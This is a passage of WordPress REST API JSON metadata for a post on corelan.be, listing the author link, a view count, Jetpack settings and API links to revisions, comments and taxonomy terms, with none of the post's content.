(Lincoln)"},"url":"https:\/\/www.corelan.be\/index.php\/author\/lincoln\/"}]}},"views":24715,"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/7723","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/comments?post=7723"}],"version-history":[{"count":0,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/7723\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/media?parent=7723"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/categories?post=7723"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/tags?post=7723"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}